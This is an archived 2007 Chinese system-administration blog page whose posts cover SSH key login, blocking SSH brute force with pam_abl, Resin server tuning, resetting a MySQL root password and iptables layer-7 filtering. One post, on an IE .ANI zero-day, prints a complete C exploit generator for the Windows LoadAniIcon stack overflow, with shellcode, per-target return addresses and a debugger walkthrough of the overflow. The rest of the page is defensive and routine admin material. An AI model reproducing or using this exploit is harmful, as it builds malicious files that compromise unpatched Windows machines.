[root@sshd1 ~]# cat id_dsa.pub >> /root/.ssh/authorized_keys

这样在windows下以后直接 ssh root@sshd1 就可以不用密码了。

[vitter@securitycn ~]# ssh root@sshd1

没有密码输入提示了。

Posted by vitter at 2007-04-09 09:34:13 | 评论 (3) | 引用

April 06, 2007

使用pam_abl防止SSH遭暴力破解攻击

翻译、参考自StoneLion的http://security.linux.com/article.pl?sid=07/03/20/2043209

PAM(Pluggable Authenticatiion Modules)开发的pam_abl模块能实现自动对试图登录ssh的每个认证进行统计,对大量错误的试图尝试通过认证的登录进行必要的封杀,这样对于使用SSH服务的Unix和Linux服务器管理人员来说,方便了很多,在我们面临大量的针对SSH的暴力攻击头疼的时候,完全可以采用此模块实现防御。

安装

1、下载源码
2、编译安装
#tar zxvf pam_abl-0.2.3.tar.gz
#cd pam_abl
#make && make install
#cp conf/pam_abl.conf /etc/security/

配置

编辑/etc/pam.d/system-auth文件,加入pam_abl.so模块,下面是一个例子:

#%PAM-1.0
# This file is auto-generated.
# User changes will be destroyed the next time authconfig is run.
auth required /lib/security/pam_env.so
auth required /lib/security/pam_abl.so config=/etc/security/pam_abl.conf
auth sufficient /lib/security/pam_unix.so likeauth nullok
auth required /lib/security/pam_deny.so

account sufficient /lib/security/pam_succeed_if.so uid < 100
account required /lib/security/pam_unix.so

password requisite /lib/security/pam_cracklib.so retry=3
password sufficient /lib/security/pam_unix.so nullok use_authtok md5 shadow
password required /lib/security/pam_deny.so

session required /lib/security/pam_limits.so
session required /lib/security/pam_unix.so

接下来就是配置pam_abl了,我们编辑配置文件/etc/security/pam_abl.conf,内容如下:

# /etc/security/pam_abl.conf
# debug
host_db=/var/lib/abl/hosts.db
host_purge=2d
host_rule=*:3/1h,30/1d
user_db=/var/lib/abl/users.db
user_purge=2d
user_rule=!root:3/1h,30/1d

简单解释一下上面这个配置文件:
第2行
host_db=/var/lib/abl/hosts.db
和第5行
user_db=/var/lib/abl/users.db
分别定义了被禁止的主机名和用户列表保存到哪里。第3行
host_purge=2d
和第6行
user_purge=2d
分别定义了禁止的主机和用户的释放时间,也就是多长时间后解禁。这里定义的是2天后,主机和用户都会解禁。第4行
host_rule=*:3/1h,30/1d
和第7行
user_rule=!root:3/1h,30/1d
分别定义了主机和用户规则,我们看看他的语法规则。
他的规则如下:
host或user_rule=:<尝试次数>/<禁止时间>,<尝试次数>/<禁止时间>

因此上面的配置文件第4行host_rule=*:3/1h,30/1d主机规则的意思是禁止所有的主机(*表示),在一个小时内当错误的连接次数达到或者超过3次时禁止,在1天内当超过30次时禁止。
第7行用户规则user_rule=!root:3/1h,30/1d意思是所有的用户,除了root(用!root表示)在最近的一个小时内连接错误达到三次就禁止,或者最近的一天超过30次就禁止。

当然,你也可以定义你选择的那些用户,比如:
anze|dasa|kimzet|madison:20/1h
这意味着上面的四个用户anze,dasa,kimzet,madison将被禁止,如果在最近的一个小时内连接错误次数达到20次。

注:这里说的连接次数,是指你建立连接,然后输入密码,当缺省输入三次密码都不正确时,就退出了,这就算一次。
更详细的说明,请参考pam_abl手册

测试

现在我们可以测试我们的配置了,打开终端,远程连接一下,尝试连接次数超过三次,你应该可以下面下面类似的结果:
pam_abl[6248]: Blocking access from sataras.example.com to service ssh, user madison

你可以用命令pam_abl查看被禁止的用户和主机:

#pam_abl
Failed users:
madison (3)
Blocking users [!root]
Failed hosts:
sataras.example.com (3)
Blocking users [*]

这就表示用户madison和主机sataras.example.com被禁止了,你可以尝试再次连接机器,并输入正确的密码,也打印"权限禁止"的提示。

Posted by vitter at 2007-04-06 15:38:36 | 评论 (1) | 引用

March 30, 2007

遭遇0day

前几天公司bqq里面有人发了个地址,说有毒,下载回来发现是ie代码里面调个图片,图片里面有木马地址,当用IE打开后就会在不知不觉中自动下载执行木马程序。对XPie6、ie7打全补丁的系统通杀,而且不死ie不卡不闪,做的比较nb了。2003下没试。昨天晚上在家接到公司电话说论坛上被挂东西了,拿下来分析又是这个。今天从飞扬那拿到0day生成器测试了下果真对2000、XP通杀,2003中ie会死。据说这个0day已经在地下流传了好久了,只是最近才有人拿出来了,眼下很是流行,在短短3,4天内就遇到了好几次。估计是最后的疯狂了。据说这个漏洞是以前的一个补丁造成的,如果没打到这个补丁是不会中招的,MS的补丁也不安全啊。这个ANI的0day已经开始流行了,看这:
http://www.securitycn.net/html/news/incident/2676.html
看来还是用firefox浏览器吧,俺可以不爱用ie的呵呵。建议大家以后都不要用ie了换firefox吧...
临时解决补丁见
http://research.eeye.com/html/alerts/zeroday/20070328.html
exploit:

#include

/* ANI Header */
unsigned char uszAniHeader[] =
"\x52\x49\x46\x46\x00\x04\x00\x00\x41\x43\x4F\x4E\x61\x6E\x69\x68"
"\x24\x00\x00\x00\x24\x00\x00\x00\xFF\xFF\x00\x00\x0A\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x10\x00\x00\x00\x01\x00\x00\x00\x54\x53\x49\x4C\x03\x00\x00\x00"
"\x10\x00\x00\x00\x54\x53\x49\x4C\x03\x00\x00\x00\x02\x02\x02\x02"
"\x61\x6E\x69\x68\xA8\x03\x00\x00";

/* Shellcode - metasploit exec calc.exe ^^ */
unsigned char uszShellcode[] =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x49\x49\x37\x49\x49\x49\x49\x51\x5a\x6a\x42"
"\x58\x50\x30\x41\x31\x42\x41\x6b\x41\x41\x52\x32\x41\x42\x41\x32"
"\x42\x41\x30\x42\x41\x58\x50\x38\x41\x42\x75\x38\x69\x79\x6c\x4a"
"\x48\x67\x34\x47\x70\x77\x70\x53\x30\x6e\x6b\x67\x35\x45\x6c\x4c"
"\x4b\x73\x4c\x74\x45\x31\x68\x54\x41\x68\x6f\x6c\x4b\x70\x4f\x57"
"\x68\x6e\x6b\x71\x4f\x45\x70\x65\x51\x5a\x4b\x67\x39\x4c\x4b\x50"
"\x34\x4c\x4b\x77\x71\x68\x6e\x75\x61\x4b\x70\x4e\x79\x6e\x4c\x4d"
"\x54\x4b\x70\x72\x54\x65\x57\x69\x51\x49\x5a\x46\x6d\x37\x71\x6f"
"\x32\x4a\x4b\x58\x74\x77\x4b\x41\x44\x44\x64\x35\x54\x72\x55\x7a"
"\x45\x6c\x4b\x53\x6f\x51\x34\x37\x71\x48\x6b\x51\x76\x4c\x4b\x76"
"\x6c\x50\x4b\x6e\x6b\x71\x4f\x67\x6c\x37\x71\x68\x6b\x4c\x4b\x65"
"\x4c\x4c\x4b\x64\x41\x58\x6b\x4b\x39\x53\x6c\x75\x74\x46\x64\x78"
"\x43\x74\x71\x49\x50\x30\x64\x6e\x6b\x43\x70\x44\x70\x4c\x45\x4f"
"\x30\x41\x68\x44\x4c\x4e\x6b\x63\x70\x44\x4c\x6e\x6b\x30\x70\x65"
"\x4c\x4e\x4d\x6c\x4b\x30\x68\x75\x58\x7a\x4b\x35\x59\x4c\x4b\x4d"
"\x50\x58\x30\x37\x70\x47\x70\x77\x70\x6c\x4b\x65\x38\x57\x4c\x31"
"\x4f\x66\x51\x48\x76\x65\x30\x70\x56\x4d\x59\x4a\x58\x6e\x63\x69"
"\x50\x31\x6b\x76\x30\x55\x38\x5a\x50\x4e\x6a\x36\x64\x63\x6f\x61"
"\x78\x6a\x38\x4b\x4e\x6c\x4a\x54\x4e\x76\x37\x6b\x4f\x4b\x57\x70"
"\x63\x51\x71\x32\x4c\x52\x43\x37\x70\x42";

char szIntro[] =
"\n\t\tWindows .ANI LoadAniIcon Stack Overflow\n"
"\t\t\tdevcode (c) 2007\n"
"[+] Targets:\n"
"\tWindows XP SP2 [0]\n"
"\tWindows 2K SP4 [1]\n\n"
"Usage: ani.exe ";

typedef struct {
const char *szTarget;
unsigned char uszRet[5];
} TARGET;

TARGET targets[] = {
{ "Windows XP SP2", "\xC9\x29\xD4\x77" }, /* call esp */
{ "Windows 2K SP4", "\x29\x4C\xE1\x77" }
};

int main( int argc, char **argv ) {
char szBuffer[1024];
FILE *f;

if ( argc < 3 ) {
printf("%s\n", szIntro );
return 0;
}

printf("[+] Creating ANI header...\n");
memset( szBuffer, 0x90, sizeof( szBuffer ) );
memcpy( szBuffer, uszAniHeader, sizeof( uszAniHeader ) - 1 );

printf("[+] Copying shellcode...\n");
memcpy( szBuffer + 168, targets[atoi( argv[1] )].uszRet, 4 );
memcpy( szBuffer + 192, uszShellcode, sizeof( uszShellcode ) - 1 );

printf("%s\n", argv[2] );
f = fopen( argv[2], "wb" );
if ( f == NULL ) {
printf("[-] Cannot create file\n");
return 0;
}

fwrite( szBuffer, 1, 1024, f );
fclose( f );
printf("[+] .ANI file succesfully created!\n");
return 0;
}

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
关于ani 0day的简单分析


来源:Ph4nt0m Security Team

by axis
2007-03-28

本来没精力跟这个漏洞了,但是今天听swan在irc里说网上的exp利用方式不够好,只覆盖了2个字节,于是下午利用了一点空闲时间跟了一下。

在我的xp sp2 cn上,全补丁,漏洞发生在以下地方

CODE:
77D53A5A 8BFF MOV EDI,EDI
77D53A5C 55 PUSH EBP
77D53A5D 8BEC MOV EBP,ESP
77D53A5F 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8]
77D53A62 8B55 10 MOV EDX,DWORD PTR SS:[EBP+10] ; 可以控制的长度
77D53A65 56 PUSH ESI
77D53A66 8B70 04 MOV ESI,DWORD PTR DS:[EAX+4]
77D53A69 8D0C16 LEA ECX,DWORD PTR DS:[ESI+EDX]
77D53A6C 3BCE CMP ECX,ESI
77D53A6E 72 28 JB SHORT USER32.77D53A98
77D53A70 3BCA CMP ECX,EDX
77D53A72 72 24 JB SHORT USER32.77D53A98
77D53A74 3B48 08 CMP ECX,DWORD PTR DS:[EAX+8]
77D53A77 77 1F JA SHORT USER32.77D53A98
77D53A79 53 PUSH EBX
77D53A7A 57 PUSH EDI
77D53A7B 8B7D 0C MOV EDI,DWORD PTR SS:[EBP+C] ; 目标buf [ebp+3c]
77D53A7E 8BCA MOV ECX,EDX ; 控制长度
77D53A80 8BD9 MOV EBX,ECX
77D53A82 C1E9 02 SHR ECX,2
77D53A85 F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI] ; 覆盖


拷贝发生在user32.dll中,注意这里

CODE:
77D53A7B 8B7D 0C MOV EDI,DWORD PTR SS:[EBP+C] ; 目标buf [ebp+3c]
77D53A7E 8BCA MOV ECX,EDX ; 控制长度
77D53A80 8BD9 MOV EBX,ECX
77D53A82 C1E9 02 SHR ECX,2
77D53A85 F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI] ; 覆盖

edx控制我们拷贝的长度.
edx由ani文件的0x54偏移处传入,但是由于后面有一些判断,所以要触发这个拷贝,edx不能太大。

在我的xp sp2 cn all hotfix上,edx = 0x50 正好覆盖了上层函数的ebp

由于是从[ebp+3c]开始覆盖的,所以无法在当前函数返回时控制,我们可以选择覆盖上层函数的返回地址。

由于公开的exp中只覆盖了user32.dll中的两个字节地址,这个不是很通用,所以swan会有前面那段话。

事实上,可以覆盖掉整个ebp,ebp+4,控制eip。

从codepage去找个中文的通用地址是很简单的。

而且这个dll没有/gs保护,所以利用起来很简单。

不同的平台,比如2000/2003上需要覆盖的字节可能不同。

但是这个漏洞只覆盖[ebp+4]处的2个字节,还是在user32.dll里,一般不会崩溃

但是如果把整个eip都覆盖了,如果平台差异引起了覆盖字节数不同,就会造成ie崩溃

想必这就是为什么公开的exp只覆盖2个字节,插入2个图片的原因(那两个图片的长度控制值不同,覆盖的2个字节也不同)

要查杀这个也很简单,各大AV只需要判断这个传入edx的长度是否超过了限制就可以了。

Posted by vitter at 2007-03-30 16:34:17 | 评论 (0) | 引用

March 27, 2007

Resin 3 pro高并发,响应性与稳定性方案

以下方案我是在Intel xeon(至强) 3.2G 2个双核物理CPU+2G内存(Ecc)上进行:

resin版本为resin-pro-3.0.21,JVM为Jrockit 1.5_06, resin java 启动参数 -Xms256m -Xmx512m

1. 以下为resin.conf配置
<!--
- Resin 3.0 configuration file.
-->
<resin xmlns="http://caucho.com/ns/resin"
xmlns:resin="http://caucho.com/ns/resin/core">
<!--
- Logging configuration for the JDK logging API.
-->
<log name="" level="all" path="stdout:" timestamp="[%H:%M:%S.%s] "/>

<logger name="com.caucho.java" level="config"/>
<logger name="com.caucho.loader" level="config"/>

<dependency-check-interval>600s</dependency-check-interval>

<javac compiler="internal" args=""/>

<thread-pool>
<thread-max>10240</thread-max>
<spare-thread-min>50</spare-thread-min>
</thread-pool>

<min-free-memory>5M</min-free-memory>

<server>
<class-loader>
<tree-loader path="${resin.home}/lib"/>
<tree-loader path="${server.root}/lib"/>
</class-loader>

<keepalive-max>1024</keepalive-max>
<keepalive-timeout>60s</keepalive-timeout>

<resin:if test="${resin.isProfessional()}">
<select-manager enable="true"/>
</resin:if>

<bind-ports-after-start/>

<http server-id="" host="*" port="80"/>

<cluster>
<srun server-id="" host="127.0.0.1" port="6802"/>
</cluster>

<resin:if test="${resin.isProfessional()}">
<persistent-store type="cluster">
<init path="session"/>
</persistent-store>
</resin:if>

<ignore-client-disconnect>true</ignore-client-disconnect>

<resin:if test="${isResinProfessional}">
<cache path="cache" memory-size="20M"/>
</resin:if>

<web-app-default>
<class-loader>
<tree-loader path="${server.root}/ext-webapp"/>
</class-loader>

<cache-mapping url-pattern="/" expires="60s"/>
<cache-mapping url-pattern="*.gif" expires="600s"/>
<cache-mapping url-pattern="*.jpg" expires="600s"/>

<servlet servlet-name="directory"
servlet-class="com.caucho.servlets.DirectoryServlet">
<init enable="false"/>
</servlet>

<allow-servlet-el/>

<session-config>
<enable-url-rewriting>false</enable-url-rewriting>
</session-config>

</web-app-default>

<host-default>
<class-loader>
<compiling-loader path="webapps/WEB-INF/classes"/>
<library-loader path="webapps/WEB-INF/lib"/>
</class-loader>

<!--access-log path="logs/access.log"
format='%h %l %u %t "%r" %s %b "%{Referer}i" "%{User-Agent}i"'
rollover-period="1W"/-->

<web-app-deploy path="webapps"/>

<ear-deploy path="deploy">
<ear-default>
<!-- Configure this for the ejb server
-
- <ejb-server>
- <config-directory>WEB-INF</config-directory>
- <data-source>jdbc/test</data-source>
- </ejb-server>
-->
</ear-default>
</ear-deploy>

<resource-deploy path="deploy"/>

<web-app-deploy path="deploy"/>
</host-default>

<resin:import path="${resin.home}/conf/app-default.xml"/>

<host-deploy path="hosts">
<host-default>
<resin:import path="host.xml" optional="true"/>
</host-default>
</host-deploy>

<host id="" root-directory=".">
<web-app id="/" document-directory="d:\website\chat">
</web-app>
</host>

</server>
</resin>

2. 在应用的web.xml中加入resin status查看servlet映射
<servlet-mapping servlet-class='com.caucho.servlets.ResinStatusServlet'>
<url-pattern>/resin-status</url-pattern>
<init enable="read"/>
</servlet-mapping>
3. 启动resin,确认应用正常启动。

4. 写访问测试程序
import java.io.InputStream;
import java.net.URL;


public class TestURL
{
public static void main(String[] args) throws Exception
{
long a = System.currentTimeMillis();
System.out.println("Starting request url:");
for(int i = 0; i < 10000; i++){
URL url = new URL("http://192.168.1.200/main.jsp");

InputStream is = url.openStream();
is.close();
System.out.println("Starting request url:"+i);
}
System.out.println("request url end.take "+(System.currentTimeMillis()-a)+"ms");
}

}

5. 在Jbuilder中执行TestURL

在执行过程中,一边刷新http://192.168.1.200/resin-status,查看resin状态,在http://*:80 中的 Active Threads 和 Total,会一直增长,当长到512的时候不再增长,这时再刷新resin-status页面时,会发现打开很慢。原因是服务器已经达到最大连接数,在等待前面连接的释放而不能接受新的连接。

于是下载Resin 3.0.21源码,搜索 512,发现com.caucho.server.port.Port类中有以下代码:
// default timeout
private long _timeout = 65000;

private int _connectionMax = 512;//就是这行,查找resin所有源码后,发现没有对这个值进行设置
private int _minSpareConnection = 16;

private int _keepaliveMax = -1;

private int _minSpareListen = 5;
private int _maxSpareListen = 10;
将_connectionMax 改为 20480,然后重新编译并替换resin.jar中的Port类。

6. 重新启动Resin,再次运行TestURL进行测试,这次你会发现Threads Active 和 Total 一直变大,且可以超过512一直增大,在测试程序运行过程中刷新页面,页面响应性能还是不错的.

另,测试过程中Resin会打印出 1-3次 强制执行GC的信息,属于正常。

7.待测试完毕,Threads Active 和 Total 马上降为1.Idle为9,总内存为536.87Meg 空闲内存为480.33M

再经多次测试,结果一致,内存回收正常,表明当前 resin 稳定性和响应性可靠。

Posted by vitter at 2007-03-27 11:32:32 | 评论 (0) | 引用

March 26, 2007

mysql忘记root密码解决办法

今天朋友的mysql密码忘记了,问我怎么办,我告诉他可以重新设置个,方法如下:
如果 MySQL 正在运行,首先停止:[root@localhost mysql]# support-files/mysql.server stop 或者kill掉: [root@localhost mysql]# killall -9 mysqld(linux);c:\mysql\bin>net stop mysql(win)。
跳过权限检查启动 MySQL :[root@localhost mysql]# bin/safe_mysqld --skip-grant-tables &(linux);c:\mysql\bin>mysqld-nt --skip-grant-tables (win)
就可以不需要密码就进入 MySQL 了。
然后就是
mysql -uroot

mysql> use mysql;
mysql> update user set password=password("new_pass") where user="root";
mysql> flush privileges;
mysql> exit

停止mysql
[root@localhost mysql]# bin/mysqladmin -uroot -p shutdown (linux)
c:\mysql\bin>mysqladmin -uroot -p shutdown (win)
输入你新设置的root密码后mysql停止。
最后用正常方法启动 MySQL:
[root@localhost mysql]# support-files/mysql.server start 或者[root@localhost mysql]# bin/safe_mysqld --user=mysql & (linux)
c:\mysql\bin>net start mysql

Posted by vitter at 2007-03-26 11:35:11 | 评论 (0) | 引用

March 19, 2007

March 14, 2007

七层过滤让IPTABLES如虎添翼

今天有人问倒iptables的一些问题,记得以前提到过用iptables封P2P软件,其实还可以借助开源软件进行好多类似的功能,贴个以前的资料。

准备知识:
什么是防火墙?防火墙的作用?
对于连接到网络上的 Linux 系统来说,防火墙是必不可少的防御机制,它可以控制允许合法的网络流量进出系统,而禁止其它任何网络流量。为了确定网络流量是否合法,防火墙依靠它所包含的由网络或系统管理员预定义的一组规则来匹配数据包。这些规则告诉防火墙某个流量是否合法以及对于来自某个源、至某个目的地或具有某种协议类型的网络流量要做些什么操作。网络流量由 IP 信息包(以流的形式从源系统传输到目的地系统的一些小块数据)组成。这些信息包前面所附带的一些数据位,它们包含有关信息包的源、目的地和协议类型的信息。防火墙根据一组规则检查这些头信息,以确定接受哪个信息包以及拒绝哪个信息包。我们将该过程称为信息包过滤。
什么是iptables?
iptables是linux中最有名的防火墙过滤工具,它其实是由netfilter/iptables两部分组成,netfilter 组件也称为内核空间(kernelspace),是内核的一部分,由一些信息包过滤表组成,这些表包含内核用来控制信息包过滤处理的规则集。 iptables 组件是一种工具,也称为用户空间(userspace),它使插入、修改和除去信息包过滤表中的规则变得容易。有时简化名称,一般直接称为 iptables。 netfilter/iptables IP信息包过滤系统是一种功能强大的工具,可用于添加、编辑和除去规则,这些规则存储在专用的信息包过滤表中,而这些表集成在 Linux 内核中。在信息包过滤表中,规则被分组放在我们所谓的链(chain)中。你可能正在使用Linux系统默认安装的版本,如果你没有,可以从 netfilter.org 下载该工具并安装使用它。
Iptables能干什么?
通过使用iptables,用户可以构建自己的规则,这些规则存储在内核空间的信息包过滤表中。这些规则具有目标,它们告诉内核对来自某些源、前往某些目的地或具有某些协议类型的信息包做些什么。如果某个信息包与规则匹配,那么使用动作ACCEPT 允许该信息包通过。也可以使用动作DROP 或 REJECT 来阻塞并杀死信息包。根据规则所处理的信息包的类型,可以将规则分组在链中。包过滤表中共包括三张表:
l filter:过滤主表,也是默认表,主要处理:所有的入站信息包的规则被添加到 INPUT 链中。所有出站信息包的规则被添加到 OUTPUT 链中。所有正在转发的信息包的规则被添加到 FORWARD 链中。这三个链存在于基本信息包过滤表中内置的缺省主链filter中。
l nat:网络地址转换表,如果你要使用源地址转换SNAT和目标地址转换DNAT保护内网时就会需要对这张表进行操作。这张表包括三个链:PREROUTING,POSTROUTING,OUTPUT.
l Mangle:mangle表提供了修改数据报各个字段的值的方法,针对数据包处理的目标扩展,如MARK标志和TOS标志。它位于包过滤中的所有规则的最前端。它包括的链表有:INPUT,OUTPUT,FORWARD,PREROUTING,POSTROUTING。
下图是iptables在包过滤流程中将会流经的各个表中的链的示意图:

另外,还提供用户自己定义的链。每个链都可以有一个策略,它定义“缺省目标”,也就是要执行的缺省操作,当信息包与链中的任何规则都不匹配时,执行此操作。
建立规则并将链放在适当的位置之后,就可以开始进行真正的信息包过滤工作了。这时内核空间从用户空间接管工作。当信息包到达防火墙时,内核先检查信息包的头信息,尤其是信息包的目的地。我们将这个过程称为路由。
要弄清楚上面的图,可以这样考虑。在第一个路由判断处,不是发往本地的包,我们会发送它穿过 FORWARD链。若包的目的地是本地监听的IP地址,我们就会发送这个包穿过INPUT链,最后到达本地。
值得注意的是,在做NAT的过程中,发往本机的包的目的地址可能会在PREROUTING链里被改变。这个操作发生在第一次路由之前,所以在地址被改变之后,才能对包进行路由。注意,所有的包都会经过上图中的某一条路径。如果你把一个包DNAT回它原来的网络,这个包会继续走完相应路径上剩下的链,直到它被发送回原来的网络。
下图为netfilter/iptables的信息包过滤流程图

iptables的优点:
netfilter/iptables 的最大优点是它可以配置有状态的防火墙,这是 ipfwadm 和 ipchains ,ISA等以前的工具都无法提供的一种重要功能。有状态的防火墙是能够在内存中保存穿过防火墙的每条连接,指定并记住为发送或接收信息包所建立的连接的状态。防火墙可以从信息包的连接跟踪状态获得该信息。在决定新的信息包过滤时,防火墙所使用的这些状态信息可以有效增强处理效率和处理速度。这里有四种有效状态,它们分别为 ESTABLISHED、INVALID、NEW 和 RELATED。
l 状态 ESTABLISHED 指出该信息包属于已建立的连接,该连接一直用于发送和接收信息包并且完全有效。
l INVALID 状态指出该信息包与任何已知的流或连接都不相关联,它可能包含错误的数据或头,也有可能是人为构造的非法或恶意的数据包。
l 状态 NEW 意味着该信息包已经或将启动新的连接,或者它与尚未用于发送和接收信息包的连接相关联。
l 状态RELATED 表示该信息包正在启动新连接,以及它与已建立的连接相关联。
netfilter/iptables 的另一个重要优点是,它使用户可以完全控制防火墙配置和信息包过滤。您可以定制自己的规则来满足您的特定需求,从而只允许您想要的网络流量进入系统。
另外,netfilter/iptables 是免费的,这对于那些想要节省费用的人来说十分理想,它可以代替昂贵的防火墙解决方案。
Iptables的缺点:
根据已有的了解,我们知道iptables是工作在OSI第三层,对于有针对性地对源地址,目标地址,端口和协议类型进行分析,它是非常管用。除此之外,你无法再想对数据包进一步的封锁。而现实当中,基于应用层的应用就相当复杂,如国内流行的QQ,BT客户端都可以通过很多无规则变化的代理地址或监听端口连接服务器,再比如说应用层攻击,这个就要复杂得多,因为攻击数据包在绝大多数情况下是合法的数据包,不同的只是内容具有攻击性,而且因为IP数据包是分段传输的,其内容的判别需要将所有相关的包重组后才能准确进行。一旦这种攻击数据包通过了防火墙,它们通常会开始有条不紊地利用目标系统的漏洞制造缓冲区溢出,获得系统的控制权,然后以此为平台开始寻找周围其他系统的漏洞或者其他的蠕虫留下的后门,进而展开攻击。再比如说,大多数的包含不良非法内容的垃圾邮件和携带病毒的邮件传输等。因此,如果真得要对这些信息内容进行控制和过滤,势必只有通过分析OSI的四到七层的数据内容才能真正确定数据中所包含的信息特征代码,从而被防火墙规则所识别。这方面如MS的ISA就做得相当不错,ISA2004版本中对于FTP,SMTP的内容过滤功能还是很强大的。除此之外,目前很多的IPS(入侵防御系统)也都可以做到四到七层的过滤,但是IPS造价普遍偏高,如果产品是采用NP、ASIC专用芯片(网络处理器),价格就更昂贵了。这显然不在本文的讨论范围中,有兴趣的同志可以比较一下IPS的工作参数和性能指标。当然,这是大势所向,我相信以后的iptables肯定会支持应用层的过滤。
我们要做什么?
我们的目标很明确,就是设法通过其它软件的帮助,让iptables也能够支持七层过滤,什么样的软件可以做到呢?L7-filter就是一个很好的软件,它可以帮助我们完成这个愿望。简单介绍一下这个软件,L7-filter实际上是一个netfilter/iptables的增强型补丁插件,它的核心是通过一个工作在内核级的可进行数据包分类的补丁程序与iptables进行联动,与其它基于端口(比如说,80端口跑web服务,21端口是FTP服务)包分类工具不同处在于,它是基于数据内容匹配和分析的。它一共包括如下三个软件:
1. 一个是kernel的补丁,通过它可以让新内核支持七层过滤,目前只提供了2.4.21和2.6.7内核的补丁包。
2. 另一个是iptables工具的补丁,通过它给iptables打补丁,可以调用内核中的函数实现防火墙的联动。
3. 还有一个是目录,其中包括了已经可以被支持的一些应用层的特征码:如http协议的请求特征,还有msnmessager,msn-filetransfer,RTSP,VNC,MUTE,Gnutella等等。你也可以添加一些特征代码在这里。
简单介绍完了这个软件的组成部分后,下面就开始安装这个软件吧!
安装程序过程:
1. 安装操作平台是TLS(Trustix Linux Server2.1),gcc为3.3.3-4版本。
2. 首先下载需要的所有软件包:我们需要
· 从kernel.org 上下载所需的内核包,建议下载2.4.26或者2.6.7版本。本文中使用的是2.6.7内核。
· 从 netfilter.org 上下载iptables-1.2.11版本。
· 从 http://sourceforge.net/projects/l7-filter上下载最新l7-filter软件包和协议包为netfilter-layer7-v0.9.1.tar.gz和l7-protocols-2004_11_22.tar.gz
3. 给内核打补丁并编译内核使之支持七层过滤
我下载的是linux-2.6.7.tar.bz2包,使用以下命令:
# tar jxvf linux-2.6.7.tar.bz2 –C /usr/src ** 解压内核到指定位置
# tar zxvf netfilter-layer7-v0.9.1.tar.gz –C /usr/src **同上
# cd /usr/src/linux-2.6.7
# patch -p1 < /usr/src/netfilter-layer7-v0.9.1/kernel-2.6.7-layer7-0.9.1.patch **打补丁
# make menuconfig ** 如果是崭新的内核,就直接执行,如果不是,先用make mrproper清除一些已经存在的垃圾文件
# ………
这里省略配置过程,要注意的是以下几个选项必须有效:
1. EXPERIMENTAL (代码的成熟度,要使用新特性必须要打开)
2. 打开netfilter支持,在(Device Drivers→ Networking support→ Networking Options→ Network packet filtering)
3. 打开connection tracking支持,在(Network packet filtering→ IP: Netfilter Configuration→ Connection tracking).最好把所有选项都选上,注意FTP support" 和"IP tables support"以及"Layer 7 match support"这些选项。
4. 注意:最好把对ext3文件系统的支持直接编译,不要用模块方式。
# make all ** 在2.6内核编译中,此开关已经包括了make vmlinux/bzImage,make modules这几个命令的组合
# make modules_install
# make install ** 系统自动会把启动信息加入到引导程序中
4. 给iptables打补丁,让它支持"-m layer7 --l7proto [http|ftp|etc...]".格式
# tar zxvf iptables-1.2.11.tar.gz –C /usr/src ** 方便起见,全部解压到/usr/src目录下
# cd /usr/src/iptables-1.2.11
# patch –p1 < /usr/src/netfilter-layer7-v0.9.1/iptables-layer7-0.9.1.patch
# chmod +x extensions/.layer7-test ** 这一步别漏掉
# make KERNEL_DIR=/usr/src/linux-2.4.26 ** 这一步很关键,也是安装过程中最费解的。为什么是2.4.26呢?原作者在文档中指出打了补丁后的iptables不能和2.6.7内核结合编译,但这不是l7-filter的问题,可以与其它内核编译完成后使用。
# 我认为读者如果没有需要,就不必编译2.6.7内核。因为编译2.6.7内核需要升级诸如lsmod,rmmod,modprobe命令包,详情请见参考7。对于新手会有一些麻烦,建议直接使用2.4.26内核。
# make install KERNEL_DIR=/usr/src/linux-2.4.27
# make install-devel
5. 下面安装l7-filter所用到特征码匹配文件
# tar zxvf l7-protocols-2004_11_22.tar.gz
# cd l7-protocols-2004_11_22
# make install ** 默认安装会自动拷贝到/etc目录下,里面是一些默认的规则信息

软件使用方法:
安装以后,我们就可以使用新的Iptables参数-m layer7 和 –l7dir及 –l7proto。关于iptables的使用和规则创建防火墙内容也是很重要的,它既是linux下防火墙搭建的重要组成部份,同时也是保证linux 安全的重要措施之一,因此,掌握iptables的技能非常关键,在这强调一点,有机会要好好掌握iptables的用法,具体可以参见网上资料,或者 <<开放系统世界>>第1期的《使用iptables构建防火墙》。
这里假设iptables的所有命令安装在/sbin或者是/usr/local/sbin下,如:
# iptables –t mangle –A POSTROUTING –m layer7 –l7proto http –j MARK –set-mark 1
这里我们使用了mangle的POSTROUTING链,这是因为我们注意它是所有出去包的必经这路,在这里做设置是最有效。
如果l7protocols并不是安装在默认的/etc目录下,我们可以指定参数--l7dir来指定路径:
# iptables –t mangle –A POSTROUTING –m layer7 –l7dir /usr/local/etc/patterns
–l7proto http –j MARK –set-mark 1
实际应用过程中,我们可以有多种操作,如阻止数据包发送,做带宽限制,处理子进程等。
l 阻止数据包发送,我们只需要将上面的命令的MARK标志换作–j DROP(-j REJECT)就可以了。
注意:原作者建议,尽量少做这个操作,因为这个软件所使用的内容匹配并不十分的准确,比如说:有些基于FTP协议的web页面很容易被误导用FTP的特征去匹配,显然这是不正确的。原作者认为,尽量用带宽限制来对你想阻止的数据包进行处理。
l 带宽限制操作就和我们前面的格式一样,我们可以借助tc(traffic control),iproute2工具中的一个程序来过滤那些被MARK的数据包。如:
tc filter add dev eth0 protocol ip parent 1:0 prio 1 handle 3 fw flowid 1:3
这是属于linux高级路由和流量控制部分的内容,也是需要花时间和精力去研究的。对此我没有研究,不便发表建议,具体应用可以通过参考资料5了解更多。
l 处理FTP,IRC等其它服务。有些服务可以衍生出很多子连接来传输数据,比如说FTP服务或者IRC/IRC-DCC等。如果你在内核编译中已经加入了对ip_conntrack_ftp的支持,l7-filter就可以分类出FTP和它所有的子连接并进行处理。
# iptables –t mangle –A POSTROUTING –m –helper ftp –l7proto ftp –j MARK –set-mark 3
注意:默认情况下,l7-filter会匹配数据中的前8个包或者是2KB的包大小。如果你想匹配更多的数据包,通过修改/proc/net/layer7_numpackets,如
echo "12" > /proc/net/layer7_numpackets
或者你可以在内核编译中的过程中修改配置文件中的:CONFIG_IP_NF_MATCH_LAYER7_MAXDATALEN这个参数来让内核中匹配更多的数据大小。
结束语
